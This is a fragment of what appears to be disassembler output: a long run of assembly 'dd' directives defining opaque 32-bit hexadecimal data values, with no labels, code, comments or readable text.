		dd 4856DFD1h, 0E75FF618h, 6029F928h, 0A7583116h, 7F3D3064h
		dd 7FA3E1Fh, 0C2F110D6h, 0F3629A80h, 37E50F5Ch,	7506575Dh
		dd 2015069h, 3F16AF90h,	79805B2Ch, 0A4A87AB1h, 3706F9A2h
		dd 0D636C752h, 9FC20058h, 629BA93Ch, 50C040CBh,	143093D4h
		dd 0EFC5002Bh, 61915FDBh, 8B0038A3h, 9AC49F82h,	934555h
		dd 160DE93Ah, 72B2CCD4h, 466AB60Ch, 303BE0C2h, 6B206976h
		dd 2E18AC52h, 0A6F814FAh, 18E36051h, 2BBCF0D1h,	8A785D6Fh
		dd 0C00ACD0h, 0B205F135h, 0B8D11FAFh, 912400C9h, 0EBCA3FA7h
		dd 9E1FCD04h, 84208E81h, 14047C06h, 0CEBCF939h,	8AEC001Fh
		dd 0AE2B4477h, 0C263EF7Ch, 78557E19h, 0E08C5039h, 6DC79C6h
		dd 0A927699Fh, 320A8917h, 50B74460h, 1C836600h,	7A12288Fh
		dd 9DC50FDBh, 211B0262h, 6BF06103h, 0F67A8D5Eh,	0AB700010h
		dd 2D6EC503h, 16549C38h, 40F102FCh, 0A3AF5260h,	0BF70AE55h
		dd 0F21C8058h, 955D3C37h, 0D70B0017h, 23901EDBh, 2C008959h
		dd 6AF5BB9Bh, 1FA6644Ch, 0C0371FCCh, 0E361A855h, 48186E56h
		dd 0FC690E43h, 650902DBh, 4C8F9F3Dh, 0A1EA5200h, 0C392ACAh
		dd 0F6951888h, 0D0EF921Ah, 0A037E400h, 109FE951h, 0A8660468h
		dd 91FA6075h, 0BD4E0A24h, 2EC10248h, 48418D38h,	49B40344h
		dd 33121081h, 0A6784128h, 871325B2h, 9B3210D8h,	12F383h
		dd 0F7295710h, 236AEBB4h, 0C52C3001h, 0AF932D32h, 6BE03DD9h
		dd 0AAA009BBh, 0AC00F607h, 4CB64DCDh, 0ADDA7D00h, 2A5ED268h
		dd 27150013h, 0DB553BC8h, 5719D5BFh, 28A87FB2h,	0C0834C20h
		dd 0D6A78A91h, 5892631Dh, 0D9E8F720h, 90676618h, 96C1EB19h
		dd 12690BBh, 0D400E91Fh, 143E4C48h, 24AB00F2h, 9323F9C0h
		dd 0A8C96E9Bh, 37CCC5h,	0AC02A68Ch, 80A0EEC8h, 627D945Ch
		dd 20F1E633h, 4A82C25Eh, 0C3F4001Ch, 7C2C8AFEh,	0C7B5459h
		dd 3EEB2077h, 0B83A5F2Ah, 0F4D7A82Ah, 80D5A209h, 0E608033Ch
		dd 40D292BCh, 57EA68h, 5415896Eh, 126F6947h, 0B73C4800h
		dd 0EDF57F88h, 9B010CA6h, 7818DDBFh, 6FAF8A00h,	18425416h
		dd 30864073h, 22A80C10h, 1E48C470h, 0C93E0047h,	56A583D8h
		dd 5A003001h, 9B478B16h, 30C73BC7h, 51774020h, 6A430BB0h
		dd 9C1201B1h, 4885ADFBh, 0C8AFE40Dh, 0B3F6DA00h, 846F1CFFh
		dd 6D7816h, 0E6EADEC5h,	606A36DDh, 0E9930E03h, 0C03E18FFh
		dd 33C937C2h, 5F887E08h, 957BF590h, 731EB13Ch, 0B08A753Fh
		dd 92A4C027h, 53430F86h, 0A001807h, 9D3F6FD9h, 0E0213CA4h
		dd 0E3729C32h, 43146A24h, 9104233Ch, 26F88405h,	0E289C761h
		dd 784C4F11h, 231B4330h, 0F038AC2h, 84C0883Ch, 1F4A85C1h
		dd 78A00408h, 0C2A2D71h, 4750ECCEh, 2720D518h, 0F620C24Ah
		dd 4800156Ch, 29C5E47Ch, 5308378h, 21BD4B9h, 16708218h
		dd 83FFA120h, 0C5020055h, 0E7FB3C01h, 0F657EADFh, 1E17149Ch
		dd 6094CAD8h, 82CA3C6Dh, 0B1097860h, 18D28B9Ch,	0C1437E1Bh
		dd 0B8E1D808h, 30DF1E42h, 3CA9A883h, 0D531E25Ch, 0B46B018h
		dd 964711h, 6B797F1h, 91CF662h,	0C4E1837h, 2D9A9C13h, 6D2B1C90h
		dd 73581550h, 84388546h, 0D211F453h, 5A378509h,	94A4584Ah
		dd 1EB8DDE1h, 27461808h, 3CDE5B15h, 3F81EF11h, 0F3920870h
		dd 991C0C45h, 97530F31h, 81F311ACh, 443DB885h, 40DDA654h
		dd 73519669h, 64E4920Ah, 615031B0h, 6C48D85Ah, 1118437Fh
		dd 4D827E4Ch, 94104A27h, 0E1609325h, 4249F07Dh,	0A158018h
		dd 65F40BCDh, 0FB9C70B8h, 2B841808h, 884838Fh, 82623930h
		dd 0CF6C90D7h, 11434280h, 39898354h, 4CE808B1h,	0D8AC0F3Ch
		dd 723C9F53h, 1F620B21h, 1F08E392h, 71E46487h, 370C7C95h
		dd 218615F4h, 2B88CF07h, 6734C27Eh, 845678A2h, 0FC1E1825h
		dd 1588F87Dh, 0D98C945h, 22AC8C25h, 30A2EDA8h, 4526856Bh
		dd 116E6A30h, 2E9C0144h, 32B27E0Ch, 0C0043240h,	57CC4CD1h
		dd 23109CECh, 6033CA4Eh, 184BB462h, 9CAC0B66h, 3E1DE310h
		dd 0ADE1A088h, 1C0817E8h, 338A089Bh, 0C3883CC5h, 0AF70C185h
		dd 994E006Bh, 2FBF67Ah,	4D85B73Bh, 74C0B59Bh, 0EFE76FE0h
		dd 0C90DA006h, 7C18B867h, 0A3B01FE7h, 8B5700C4h, 0E41CEA9Bh
		dd 0D50C7E6h, 67D7AF4h,	85B19916h, 0D909A40Ch, 2412537Ch
		dd 0A461AA00h, 9D5764B1h, 0E0DE4984h, 3C4A9862h, 12F7E307h
		dd 5006194Ch, 89F358FCh, 459AC59h, 219FF0Bh, 0E44404F4h
		dd 0CB684300h, 22CF8B76h, 6943F700h, 0A8504494h, 6605EF42h
		dd 1EA2301Ch, 860ACF70h, 94B6BF4Dh, 0DAC85B41h,	0FC260C0Bh
		dd 4007E0A7h, 0FA189499h, 0E8186BEh, 6F7417DAh,	645441C4h
		dd 8FE9CD3Bh, 0C673AA28h, 74889BA2h, 127B28D8h,	3F3103B0h
		dd 0AB6F624Dh, 808E3900h, 933BB03Dh, 0C9FB0C78h, 0E3887C14h
		dd 8C75215h, 670514CCh,	5988FA8h, 0A423FF89h, 481BC04Fh
		dd 0B3922630h, 0CA458590h, 39D89665h, 6E1C4802h, 40691674h
		dd 31CC30h, 6A3D3A11h, 5E3810EAh, 0A2E180F1h, 172C61DBh
		dd 28120554h, 27608C7Ch, 1C684A84h, 583E5674h, 7FCA5060h
		dd 50943544h, 317460E9h, 0E0791B44h, 1E1630E2h,	0FDF67F07h
		dd 0BD82E587h, 6708812Bh, 0B450752Dh, 0E43D7C06h, 6F010CC4h
		dd 0EC18D914h, 38E79207h, 99C0A660h, 0F49668FEh, 45E8C0B1h
		dd 134D83F1h, 37E8B454h, 0C1A50915h, 11122230h,	8234F8Eh
		dd 0D0E389Bh, 1CB18B88h, 0DC00E6E0h, 35E82648h,	280E0C2Bh
		dd 114846D1h, 3BA5A913h, 6A0B0AF4h, 0F780C848h,	1840E17Bh
		dd 6F1D2801h, 0A957D0Ch, 736A7E2h, 0E6498180h, 8533446Fh
		dd 0E73AAC20h, 0CC01185Eh, 20C65BE1h, 9416B440h, 44881A0Ah
		dd 44CA286Ch, 0B6CE7840h, 4C6900FFh, 43891B2h, 0C0AAC57Fh
		dd 886FBD40h, 0E9014494h, 1E766951h, 50191451h,	908FF8h
		dd 38DCFDD4h, 9F120D5Fh, 6AC73Eh, 0C682D64Ah, 4FD6FE9h
		dd 0B8C81F5h, 0C38380DAh, 4977B976h, 213BD000h,	0BE63F204h
		dd 31BFEAB1h, 1A18E4D8h, 0D2408083h, 0ACED71C2h, 262F069h
		dd 0ABC982D8h, 5300D7A0h, 83374C2Eh, 0DE055810h, 9041D91Dh
		dd 83486365h, 3DA89E32h, 7880C00Bh, 536C8F69h, 2B607C0Eh
		dd 6BB4228h, 58AE61C4h,	40B6B865h, 4092F48h, 4B4051C1h
		dd 1887DDD4h
		dd 813A62C7h, 0E1CD8290h, 4151E82Dh, 355F60A0h,	0EB3EC400h
		dd 16A1BA61h, 24225004h, 663033B3h, 640A80B1h, 948F061Fh
		dd 49638305h, 54972C00h, 74D419C9h, 0E820C048h,	265C224Eh
		dd 31351D3Eh, 913E19B4h, 10C64182h, 2490859Eh, 7401A4B9h
		dd 0FB4251F0h, 48501740h, 600C0338h, 7621287Dh,	49C0E332h
		dd 5D5CDC72h, 9C9205E6h, 411D803Ah, 0F97BD130h,	1CF08268h
		dd 624ABF2Eh, 21082054h, 280A056Dh, 79BC74DBh, 654FF0F2h
		dd 0C6BE60EDh, 3B005128h, 5F8A46DEh, 60C5D968h,	290B5951h
		dd 0C00588ADh, 9CF5BCB1h, 0F11883A8h, 24026980h, 0C5B93F15h
		dd 0D9057884h, 0C3032362h, 99F68840h, 245BF193h, 80501125h
		dd 713B5DA4h, 0D9189A53h, 9519E1BEh, 0DAB11C79h, 34C9CABFh
		dd 69FC8C34h, 8F01E304h, 0A401A744h, 38232F39h,	95FCE00Fh
		dd 2BE8BA62h, 0B71D084Eh, 93DBCB3h, 182C1FAh, 31BF8FD6h
		dd 0A33046D9h, 8558C11Dh, 20391516h, 0C97CA058h, 2F7728C0h
		dd 927FE9F9h, 0D0F35598h, 745B092h, 90A90DBEh, 1EAD5F33h
		dd 68528F02h, 825EE620h, 0A12DC9A4h, 0D9474020h, 0E980DAE1h
		dd 0EE36D20Eh, 23187175h, 83901502h, 0FC5FAA4h,	22BF7A78h
		dd 9EA8D18Ah, 4296403Dh, 99D4C891h, 0C4798AEDh,	2E0010F2h
		dd 0E9066258h, 0A48E514Ch, 47D0A3D6h, 531020AFh, 6C49510Fh
		dd 8E890620h, 1A3E0621h, 11BC2C9Bh, 0DF209306h,	7831C72Bh
		dd 849B7F7Bh, 3B209067h, 50A99988h, 9B084343h, 0BB743011h
		dd 0DF1A3002h, 9A03CA13h, 78D901FDh, 3599AF84h,	87742450h
		dd 0A49BE03Bh, 440148EFh, 0F8052207h, 4B0F3182h, 1468F0B4h
		dd 9801423Ah, 34F7D7CDh, 61800DD4h, 288D0CDCh, 0C100E6DDh
		dd 0FA5A4F1Ah, 98E4969h, 0E0A164B6h, 820F5085h,	0B0604E29h
		dd 983E59BEh, 0FB89603Ah, 0C0E829D3h, 3B71C328h, 0C03EBCBh
		dd 6CB28545h, 11F9E064h, 980D247Ch, 0F3EA0024h,	28D3E2BCh
		dd 1BF1F12h, 412D7041h,	4203665h, 0ECAA503Ah, 40F8AA13h
		dd 80D89CC4h, 0FB81A86h, 0C70C2AF6h, 18DCB04Bh,	9641060Dh
		dd 60B1C6FDh, 5E496A0Dh, 0E022B1BDh, 44C04A12h,	8841D750h
		dd 77619934h, 0C7A8F440h, 8829AD11h, 196854A0h,	0C01CA9B7h
		dd 1612597Dh, 6051F623h, 60B40024h, 2E818684h, 0F0642618h
		dd 0DCA9849Ch, 50550468h, 90FA1090h, 31D87231h,	0E1F83287h
		dd 0D5DEE4B6h, 4C606800h, 0BF8C8347h, 9B34128Fh, 4A544F9Ch
		dd 1977A386h, 99789630h, 7445F888h, 50D1741Ah, 0C3E584Eh
		dd 69AE5987h, 0E899CB11h, 0A6B30F02h, 0A25CC8BDh, 73C3746Eh
		dd 0F133184Ch, 3647A946h, 0C26A3578h, 9428D281h, 0CF08B250h
		dd 1D08C381h, 80BD30C8h, 7BC7F588h, 8DFA4677h, 6D487FEEh
		dd 0FCAC26E8h, 243A6800h, 4913F96h, 0C3848790h,	0C8309330h
		dd 45353807h, 6745B31Fh, 86FB0C0Eh, 9388E9Ch, 2C984AC4h
		dd 0F21C401h, 9718929Dh, 23CCE049h, 1FC09AE8h, 53C446F9h
		dd 2CB00949h, 0CA168490h, 0DEF380h, 0CE917B6Eh,	3B70731Dh
		dd 60FD5CA1h, 0EA402514h, 0BC20486Ah, 26F0B222h, 0EF3D10C4h
		dd 103D9448h, 807B1D90h, 21CDF066h, 0E26150EBh,	0A4A92080h
		dd 0FCF8D9A8h, 0B52D302h, 0A57E5F93h, 0E200FDDCh, 450EB8F7h
		dd 3AB3139Ah, 0C6A8041Dh, 39F8C174h, 40442049h,	7CE8AB12h
		dd 2600381Fh, 775EFD33h, 0DE8B049Ch, 880FD72Ah,	2C78DD6Ch
		dd 115BBB30h, 32694Dh, 0F81E5F95h, 5E28CE9Bh, 0DC93BB2Ch
		dd 0FB118403h, 0EC6F82Ch, 9CB0C2h, 7EA48FC0h, 0EDBCA7FFh
		dd 24C3853Ch, 10A3823h,	821164D4h, 34EEFA00h, 97467B8Fh
		dd 38B39D09h, 90D02042h, 54D6C528h, 7269F47Dh, 0F67E04B9h
		dd 0D0C9A59Fh, 2DDADDE4h, 978178A5h, 0BDD8F079h, 5FF068F2h
		dd 264A80BBh, 0E79B350Ch, 811011C0h, 9A8064C5h,	0D1CC4C54h
		dd 2A8FBE02h, 48203BD9h, 4262D10h, 0E8774BD7h, 0F86083ADh
		dd 0B5FC40ADh, 0D79BD5DAh, 274611C0h, 3B0B5052h, 18590173h
		dd 0B804DA3Eh, 0D0C119D4h, 0F335A2ACh, 34B0A4B0h, 18DDA132h
		dd 1134E175h, 0D8AA9857h, 900CB378h, 12360058h,	7672E7DAh
		dd 9A0369F6h, 6147D9A5h, 0AC81E46Fh, 0CEC0BA97h, 0F01602F8h
		dd 34B891D7h, 88207052h, 952144DCh, 78C73800h, 45FD02A9h
		dd 4A10C297h, 388B0D9Ah, 3E2DF601h, 442C73E2h, 6EAD91Ch
		dd 0D1AEB109h, 0CE50057Ah, 0C455A833h, 0B04C0125h, 4FC8DC78h
		dd 0E873288Ch, 0BF411C10h, 84E27F88h, 0D7DF18C6h, 23E13C9Ah
		dd 9CC80950h, 75442153h, 0F13F598Ah, 0A9E450F4h, 692AD408h
		dd 51CEC0B2h, 96A485AAh, 501A8046h, 30954858h, 690FEA7h
		dd 0F21192DAh, 0CC80CB8h, 7750D3BDh, 61D8FD00h,	0CA3F1DF7h
		dd 9D6028AEh, 45FC12C8h, 0D69C627Fh, 9CBDFA62h,	4BC4B9C2h
		dd 6044D884h, 8FE33829h, 97C0B8CCh, 0D9D33BFh, 96210F14h
		dd 63828FBCh, 77B880h, 451E0311h, 4F392D1Bh, 4DA85254h
		dd 0BB3B2B0Ch, 182F716Ch, 8847CB31h, 44910338h,	7327683h
		dd 8D780527h, 339925h, 9882D874h, 0FC13A90Fh, 7C00C727h
		dd 95F4E236h, 398F029Dh, 1E0870B9h, 82D99361h, 8DD70FD0h
		dd 3CA0E1B5h, 498249A8h, 0F20714BEh, 61162440h,	4155108Eh
		dd 3093219Bh, 81F4C106h, 871E053Dh, 493F1701h, 2E9C4821h
		dd 98FC6AE4h, 1E814BE0h, 10F4191Ch, 464B0899h, 44032022h
		dd 8202A471h, 0C5CCDE52h, 3EF4A049h, 27F06C47h,	50000221h
		dd 1B7C4083h, 81B9DF01h, 5D35973Dh, 425AC983h, 51036B9Dh
		dd 9BE006A5h, 133925CBh, 224AF422h, 0F28700E9h,	8FA0D4A2h
		dd 413D1484h, 5A10CE60h, 0BE05C022h, 273A9C98h,	0C485A79Ch
		dd 0FD6C80BBh, 3F7405E6h, 568DD609h, 18C70A98h,	0F621C780h
		dd 29D7A27h, 0F119FF07h, 4705C0ECh, 0EEF330D2h,	0E1BB4518h
		dd 312877F8h, 8E4B10FDh, 0F0876100h, 3275730Dh,	1442C0D3h
		dd 5B8C8433h, 10F6195Eh, 0BC9B1070h, 2C19E449h,	40A879D4h
		dd 52118B96h, 0CC0F3228h, 7E0AE091h, 4499826h, 5490D098h
		dd 2E73E342h, 398DB85h,	6CFCB074h, 0D81D4802h, 0EBBD8D41h
		dd 6D9398E4h, 4031342h,	7FC4807Ah, 4E025972h, 90014C5Dh
		dd 0F20C9892h, 3CB11360h, 0A00CC78Dh, 0DA1185B2h, 5631A2F8h
		dd 462680F3h, 0DD4E2008h, 3CC54804h, 1DCD54E4h,	846906h
		dd 7605F519h, 0AA7BB4BBh, 0A44E1703h, 0F499C4h,	7DF008FCh
		dd 90FC2BABh, 9580300Eh, 8CCFC7CCh, 0F5024541h,	161260h
		dd 0F24A0D17h, 9F8783E6h, 6AFF107h, 0D0E0F332h,	0CCC8B19h
		dd 82AA2030h, 1D18EF40h, 0EA580872h, 897C00D9h,	779D023h
		dd 9D00E120h, 52FFE551h, 2629C3h, 0EEC14940h, 1A06AB45h
		dd 9801DBE0h, 7596F508h, 0F8C444D1h, 0E041860h,	3F83D835h
		dd 0CB01D918h, 403B7F59h, 891BEA91h, 0F818BF1Ch, 0E54413h
		dd 85A277E1h, 3DEE073Fh, 0E088AA51h, 0F800207Dh, 0DC7EE728h
		dd 3E3B893Eh, 2304C64Ch, 0ABEC98C5h, 602B78C0h,	620614A6h
		dd 0EE81AC7Ah, 84A9D6D2h, 379C1548h, 0EB3E061Fh, 236018D1h
		dd 0C3D00DD8h, 9A84A03Fh, 601E443Ah, 114F044h, 25B2371Bh
		dd 0C40B8B40h, 0E0FC5D6Eh, 0C51D6318h, 841A2FF9h, 4BD1721h
		dd 4F9E2740h, 0FE390D8h, 3B16B00Ch, 20AFF9ABh, 2042B33h
		dd 4BBDB830h, 91DF1F2Eh, 241B2D00h, 96E6F3h, 0F75403B2h
		dd 90D09846h, 0FADDCD00h, 348253A6h, 0E132874h,	513600E4h
		dd 0CFFBAB61h, 6EF41779h
		dd 3CCD48h, 42D48BBEh, 0C0B9D5D9h, 0F74AF420h, 20A77249h
		dd 0C0AA5288h, 7A2BC2EAh, 0B49AA230h, 0A09CA13Eh, 126B31F4h
		dd 1F2D4A07h, 50035848h, 8800A3C5h, 49FFF80Ah, 1C2FCD60h
		dd 30EB556Ah, 0A32DA021h, 47CF748h, 0EE31421Bh,	0C0204604h
		dd 0A6F163DAh, 0A10C6Fh, 3688BD39h, 0BBA81DA0h,	0FF09B1B8h
		dd 59208FF4h, 746B40C1h, 0A3B6229Dh, 5FE7A8h, 0FEEB356Ah
		dd 0FD68C2DCh, 8443B0B2h, 0F1345842h, 560CF501h, 34239B00h
		dd 7DF4600Dh, 0FAD012CFh, 63FC0390h, 8100C224h,	0F2223425h
		dd 0EC746ECh, 0C5563E5Fh, 3800788h, 753F277Ch, 7F7A0A48h
		dd 0A425F3h, 84A51EC0h,	63014F87h, 4E5B0571h, 0C210F93h
		dd 35371C24h, 10238Fh, 2DD8E41Ch, 0AB0255Bh, 137C6300h
		dd 0C5D5898Fh, 417400B9h, 5CE377B4h, 1E0F575Eh,	1C2ECAD4h
		dd 10E7ADC0h, 3F63D1A6h, 79002CE9h, 8FC4721h, 3C00D62Dh
		dd 0B653EE7Eh, 74DB1A4h, 38D280A8h, 0DFCC10E0h,	0E5008369h
		dd 0C4C231C9h, 2C5F5Ch,	1BBC82C6h, 0FE274A8Dh, 63379802h
		dd 0C005B39Fh, 4FC8ADh,	7AC9C08Bh, 488C7310h, 78AE6800h
		dd 925B526Eh, 0C7A30072h, 144FFC7Eh, 1E07D09Fh,	84DF6B35h
		dd 63479DE7h, 0FF411670h, 6DEC00C1h, 0CB03CABh,	69003747h
		dd 3B712986h, 383F06h, 0AC67AD16h, 96754526h, 64DE2100h
		dd 15929477h, 0FEBB4CC2h, 0EF4C700h, 3587FF57h,	3707200h
		dd 91395112h, 0DD151DF8h, 9246094Dh, 77856E80h,	870EF14Ah
		dd 0E0CE93C0h, 1BDF70EAh, 1F9501E6h, 4B8D36DDh,	0FED7CC97h
		dd 0E407CB7Eh, 5AB77D8Ch, 0F002C850h, 42BA001Fh, 488B8240h
		dd 59002C9Dh, 0FD3A9FB8h, 0EC732761h, 39343B1Eh, 0C7B7D600h
		dd 4179B352h, 9B03F403h, 0C801021Ah, 7AB41Bh, 0F0E067E7h
		dd 0C39E0CBFh, 4FA03900h, 1A04865Bh, 3E6D0763h,	300849C1h
		dd 0DAD3D205h, 0D764C500h, 7703DCD5h, 736900C2h, 0CCE0179h
		dd 4A3B4562h, 35E70708h, 0CF60177Ch, 0C0D816DEh, 4C250139h
		dd 0B177C251h, 280AD900h, 8423E0F4h, 1CD47E7Eh,	56CEAB5h
		dd 0C089722Ch, 9CAF0AF2h, 0D5908300h, 67B095DBh, 9BB300F0h
		dd 778C7C0h, 0E200CEC2h, 10BDD0B2h, 3B1C2F70h, 0EF80C48h
		dd 8880EA97h, 0EF20D30Eh, 0B41ADFA0h, 18E19E07h, 47734AC8h
		dd 12700056h, 8B34CDE7h, 173D9141h, 53C0805Ch, 72DEC8Fh
		dd 298907A1h, 0D0B51B6Ah, 2E5C3A91h, 0DF733113h, 5E0DF00h
		dd 754E822h, 450C47FCh,	818440C1h, 25001504h, 985CC6C0h
		dd 3ACD426h, 0C49A83C9h, 0BCA0522Fh, 0ED06622Ah, 8668CE2Dh
		dd 0B4700068h, 0D412D681h, 0B5E26D26h, 0DD146C00h, 0FBEFBF2Bh
		dd 0D36E0059h, 0E8750B85h, 1700154Ch, 2D2BA021h, 3A1BEAEBh
		dd 0A80ADD7h, 0CFC70B18h, 0F100B4D6h, 1F6A0751h, 479DABh
		dd 1EE25D2Dh, 6D7F11E0h, 9F6BBE38h, 56C03A68h, 2CAFE31Ah
		dd 5D740039h, 0AA579F2Fh, 4700F808h, 14C0F0B3h,	10C4078h
		dd 7D3B434Ah, 0D8F306DFh, 80E42F99h, 0A457903Eh, 0DC0064ECh
		dd 7C471314h, 6B781EBAh, 4FC700C4h, 0E66E3E36h,	0E789AE01h
		dd 0F9C822F7h, 0DDA430h, 6DA8CC6Bh, 75BD866Ah, 49D0653Dh
		dd 0EC7700D0h, 0F8E9FB19h, 83610AD9h, 0B3B4F2h,	9FDF84D1h
		dd 7490CC09h, 5850AE0Fh, 1C2C0D7h, 4F186D4Ah, 0F33EB0D5h
		dd 6B4C2400h, 0D7655B8Eh, 4A2E002Fh, 640F5D3h, 0C1000AB5h
		dd 0D1BA13EBh, 7BCCC3h,	0C5BD926Dh, 543F7AF7h, 7F613326h
		dd 5C591A00h, 821C58h, 9CCDD7FBh, 12C76035h, 56DD800h
		dd 45BBAB51h, 0CF070348h, 35FEF4D7h, 77A6C0AFh,	0AB3CFA89h
		dd 0BBC78EDAh, 918B853h, 40FE1Ah, 8F9C95AAh, 0EFB21D7Dh
		dd 660FB50Fh, 3C6F603Bh, 38CBC1h, 7A4C10FBh, 0A2063A81h
		dd 3F67AA18h, 493998h, 0DC615AC8h, 0DACBB60Ah, 0A6547D00h
		dd 0EE92A168h, 437029h,	0F2CE1D52h, 79E83019h, 8724C000h
		dd 81F7632Ah, 537633h, 7C8F14DBh, 1B61B3Fh, 0BA93D907h
		dd 9CE02EBEh, 0F7BB5D5h, 7CEADE66h, 0AECBF900h,	6E7C85F8h
		dd 0AC608600h, 5D1747E6h, 577800B8h, 0A37EE9DCh, 0FE006A7Ah
		dd 9B7D63EAh, 4C16C4h, 8AF7FC53h, 0B375CE26h, 0B2687700h
		dd 0FFA9A6A5h, 0E1881FEFh, 29350113h, 4031D12Fh, 0B4B66BCDh
		dd 7D209D00h, 3A699F5Fh, 5B9F644h, 4E2F10EEh, 0AC9680D8h
		dd 1801D637h, 0FB0980C9h, 9850CE33h, 1791BB5h, 3452DC9Bh
		dd 0C4C0AEE5h, 0CA506B6Eh, 0BD004DB4h, 817F8461h, 77D9B6Dh
		dd 0EEB80C89h, 0B0CC1074h, 0AB3E27EBh, 344300C6h, 5D13D97Fh
		dd 319D09D3h, 0A08ED721h, 23AEA740h, 10C0DA4Dh,	0E8B8E3D6h
		dd 150500B6h, 0A32AC510h, 0EB001140h, 465771AAh, 0ED864BFh
		dd 84C38A78h, 0E9CAA780h, 0F7000BEDh, 1330066Eh, 1B724Fh
		dd 33773DD0h, 0FBBD3FEAh, 0BE851A00h, 68767404h, 20E9006Ah
		dd 0BC12989Dh, 2C07E1B5h, 2886E595h, 5D2B7220h,	3E3B9C96h
		dd 21505580h, 64E90A2h,	8742C901h, 0BC83F5BFh, 3A128840h
		dd 0C0E4F429h, 0A100C11h, 4D07A936h, 4C9870EBh,	7712460h
		dd 611C18E0h, 9BCB28B1h, 0D2122090h, 4800A5FFh,	3AD3399Dh
		dd 0A0E30CC8h, 0D219F102h, 1607D801h, 0B8B5A98Bh, 7D18D450h
		dd 479003h, 0ABDAF852h,	0F319EE3h, 714D4300h, 936FECCDh
		dd 86FE00C2h, 0D52D1662h, 0DB0017F8h, 5A776164h, 903546h
		dd 0D4591D7h, 549E422Ah, 1AED4C01h, 460BE533h, 848F78BCh
		dd 0C9001DDEh, 6D7CC6E8h, 3686E900h, 47BEA9DFh,	633C0406h
		dd 0C1A55301h, 30238D3Ah, 0B4008750h, 9949BA89h, 64B252h
		dd 0E40DEA78h, 0F3A9D780h, 8012C2BFh, 0BECA5AB8h, 62840FB0h
		dd 8EE050A4h, 0D2070CDh, 8800C27Eh, 0B7E9B49Fh,	0B06C77h
		dd 0D5962454h, 17FBEE59h, 2E4DD100h, 608BC80Ch,	0B4B2509Dh
		dd 933D0CBAh, 0CE11D444h, 5D002977h, 42455AB5h,	0C84EADh
		dd 30EA472Fh, 0E48639DDh, 890037E6h, 5F35BD06h,	77A2E95h
		dd 0E29C65C0h, 854BC0A8h, 0B0090D0h, 0D5EB838Ah, 0EB50213h
		dd 0AC6AC67Dh, 0E380DF00h, 0BC047A67h, 0ABA3F2Fh, 0D17CF1C3h
		dd 41D0DD52h, 831800AEh, 5A86A919h, 16004396h, 0D501E189h
		dd 77E0B438h, 0A3600002h, 0DD565FB5h, 0BB000CDCh, 5B0BB02Bh
		dd 0AE4D19h, 0BE8F09A7h, 5489F506h, 6113AF00h, 657A6DC3h
		dd 1649036h, 0D1597094h, 0D852E68Bh, 17F67176h,	7C3E6601h
		dd 279A027Ah, 48058C34h, 3C3C96E1h, 5793E080h, 4AB92AB5h
		dd 0F95A0C00h, 0B47DCA15h, 4F0B0383h, 71EA516Eh, 0F4251100h
		dd 139ECC50h, 332A0F91h, 67A342FAh, 57C996D0h, 6A60245Ch
		dd 0D023FD26h, 40F93C00h, 10BF5C2h, 99DAB57Dh, 4035B43Eh
		dd 6D768F10h, 3AD3F420h, 6A3AD4B7h, 7818C904h, 0B1F4D02Dh
		dd 0B8009D31h, 0CFA87E8Bh, 3017856Bh, 0B7212363h, 713A7FBCh
		dd 0AD1C85A2h, 87C0CB9Ch, 12AA1B5h, 0DACAAF98h,	40DCA9BCh
		dd 6823E3E4h, 4137E030h, 0FDBF693Fh, 480880D2h,	5F99890Fh
		dd 8BACE9h, 0B6D80EB9h,	0A0379D69h, 8DBEBCh, 42C8A32Dh
		dd 4B9078B5h, 0EB99A405h, 70032AB4h, 610B91h, 83DBBA59h
		dd 90E0EFA8h, 81A27F1Dh, 5F458540h, 0E358A6h, 95432794h
		dd 783E2AD6h, 0EF073AE4h, 0C8E19986h, 18B87A40h, 70CF044h
		dd 0DAE6C1EBh, 0A0E307A6h, 0F16ABDF9h, 8ABC0A01h, 689F4581h
		dd 11FCE8h, 982FF5A0h, 0BF777D90h, 0AEB4480Dh, 0D5C499E5h
		dd 25E4018Ch, 401D0B23h
		dd 9E188039h, 0FC92F53Ah, 869A026Ah, 8AA52D37h,	0B75380A0h
		dd 6600F5D2h, 2F82634Ch, 0C92C16Fh, 0F73EDEB9h,	9E77BB18h
		dd 24524900h, 0A3A8E7BAh, 58B13C53h, 0BFC8D601h, 0EC4FAF8Ah
		dd 98A05C7Fh, 0B807CB8Dh, 0A093EF08h, 3537830h,	0C8CD58D1h
		dd 27A3F40Ch, 3B0F9728h, 8132750Eh, 910944B8h, 0C1EE9980h
		dd 3A5B53A8h, 0A4245916h, 9AEF7900h, 6A3D4Dh, 857AEBD6h
		dd 0CAB14C65h, 0A352590Ch, 1A64817Eh, 70D0C3CCh, 7B130AC0h
		dd 0FB3DD61Fh, 18C8A28Ch, 0E9EA07C6h, 236AF6C9h, 16C1D069h
		dd 0E294402Ch, 7D04B949h, 79B84A39h, 53A92890h,	5897307Bh
		dd 0BC9DBF91h, 6231084h, 69127C84h, 3023AA1Dh, 0AEE80831h
		dd 47D3C88Ah, 7E607459h, 0A0E1A3ACh, 100A2890h,	0CCF6CA9Eh
		dd 24628909h, 0E7801A50h, 49AF3FCDh, 7101A819h,	3778FCFEh
		dd 0A27D6097h, 9C823C1Eh, 7EB04830h, 0BAC701BFh, 8F11016Fh
		dd 0E4C66F4Dh, 8BDC0028h, 0AA3B53D3h, 5D000FA8h, 5165DFFCh
		dd 3C4FDDAh, 6FE5ADB5h,	0F08FC2EDh, 7A371F52h, 0DDF38h
		dd 0ABA96B62h, 0E603E94Bh, 861E03BFh, 0AE928EB4h, 5B278CD8h
		dd 0B3DD8A00h, 12A09971h, 3F4D7h, 37BE3461h, 3DF2C3AFh
		dd 157F761Ch, 143F6240h, 5C36B475h, 0E8703DC2h,	75B06Fh
		dd 0B6DE589Ch, 9105638Ah, 0EFFCF900h, 0B82E177Dh, 0A8C458F0h
		dd 0D80AE900h, 0E1A457Fh, 0D6F4FB0Ah, 98009431h, 0C30CB3EBh
		dd 0C6121E78h, 5D15408Dh, 0E9C78CCEh, 0BDAA4609h, 0D9DF005Fh
		dd 0E405400Dh, 1CCF48E3h, 87CB7300h, 5670229Ah,	0A53CF300h
		dd 29434D06h, 457080h, 49B18354h, 168E0D0Eh, 4A2C1B00h
		dd 0F807F3E5h, 60EE0058h, 6DC015CFh, 0C77F57DAh, 0EC3D8428h
		dd 22729800h, 576F71Ch,	67B8015Bh, 0EBFD261Dh, 0BFDBC0B6h
		dd 3BFB3Eh, 0EA137F2Ch,	0FBE1EA4h, 21148139h, 0CF55B040h
		dd 0A112428Bh, 0ED103492h, 27B200C4h, 9AF18001h, 0A0FA12D9h
